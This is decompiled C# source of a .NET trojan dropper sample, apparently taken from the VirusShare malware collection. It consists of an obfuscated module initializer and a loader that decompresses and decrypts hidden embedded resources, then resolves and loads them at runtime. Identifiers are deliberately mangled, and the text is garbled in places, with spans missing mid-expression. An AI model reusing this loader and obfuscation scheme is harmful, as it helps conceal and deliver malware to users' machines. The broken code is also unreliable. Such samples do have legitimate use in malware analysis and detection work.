// Decompiled with JetBrains decompiler // Type: // Assembly: Inclorofom, Version=1.1.5.6, Culture=neutral, PublicKeyToken=null // MVID: A522D052-C5DC-490C-B0ED-0BBC19A34C0E // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.awqq-edab95afd20436274ac39e7bbd9b33db4903ad56017b194e3d2cdd8b211b0f3e.exe using System; using System.Collections; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.IO.Compression; using System.Reflection; using System.Reflection.Emit; using System.Text; internal class \u003CModule\u003E { static \u003CModule\u003E() { 倍鄻\u2D97\uFFFD\uEF6C聍\u02F5ꆬ.鈧렠\u1AF4鱛렪뜾㶘䄋(); AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u003CModule\u003E.\u0004Щ\u000A\u0022\uFFFD\u0014C\uFFFD\uFFFD\uFFFD\u003EB\uFFFD\uFFFD\uFFFD); \uFFFD\uE0C1\uE4F6鞇ᛰ퓹\uF6E8鈠.ᕔ祩晾怏\uFFFD\uFFFD\uF888㩟(); } internal static object \uFFFD\uFFFD\u001E\u0026\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFDoP\u000C\uFFFD\u0023( uint id) { if (!(AppDomain.CurrentDomain.GetData("�\to��A����\u0016��K�G") is Dictionary dictionary)) { AppDomain.CurrentDomain.SetData("�\to��A����\u0016��K�G", (object) (dictionary = new Dictionary())); MemoryStream memoryStream = new MemoryStream(); using (DeflateStream deflateStream = new DeflateStream(Assembly.GetCallingAssembly().GetManifestResourceStream("�\to��A����\u0016��K�G"), CompressionMode.Decompress)) { byte[] buffer = new byte[4096]; int count = deflateStream.Read(buffer, 0, 4096); do { memoryStream.Write(buffer, 0, count); count = deflateStream.Read(buffer, 0, 4096); } while (count != 0); } AppDomain.CurrentDomain.SetData("�\u0017X�\\!MTR��n@> 24; uint num4 = (num1 & (uint) byte.MaxValue) % 64U; if (num4 >= 0U && num4 < 16U) { num2 |= (uint) ((int) ((num1 & 65280U) >> 8) & (int) ((num1 & 16711680U) >> 16) ^ ~(int) num1 & (int) byte.MaxValue); num3 ^= (uint) ((int) num1 * (int) index + 1) % 16U; num1 += (uint) (((int) num2 | (int) num3) ^ 115327713); } else if (num4 >= 16U && num4 < 32U) { num2 ^= (uint) (((int) num1 & 16711935) << 8 ^ ((int) ((num1 & 16776960U) >> 8) | ~(int) num1 & (int) ushort.MaxValue)); num3 += num1 * index % 32U; num1 |= (uint) ((int) num2 + ~(int) num3 & 115327713); } else if (num4 >= 32U && num4 < 48U) { num2 += (uint) (((int) num1 & (int) byte.MaxValue | (int) ((num1 & 16711680U) >> 16)) + (~(int) num1 & (int) byte.MaxValue)); num3 -= (uint) ~((int) num1 + (int) num4) % 48U; num1 ^= num2 % num3 | 115327713U; } else if (num4 >= 48U && num4 < 64U) { num2 ^= (uint) (((int) ((num1 & 16711680U) >> 16) | ~((int) num1 & (int) byte.MaxValue)) * (~(int) num1 & 16711680)); num3 += (num1 ^ index - 1U) % num4; num1 -= (uint) (~((int) num2 ^ (int) num3) + 115327713); } } uint num5 = num1 ^ id; object obj; if (!dictionary.TryGetValue(num5, out obj)) { using (BinaryReader binaryReader = new BinaryReader((Stream) new MemoryStream((byte[]) AppDomain.CurrentDomain.GetData("�\u0017X�\\!MTR��n@(data.GetManifestResourceNames(), args.Name) == -1 ? (Assembly) null : data; } }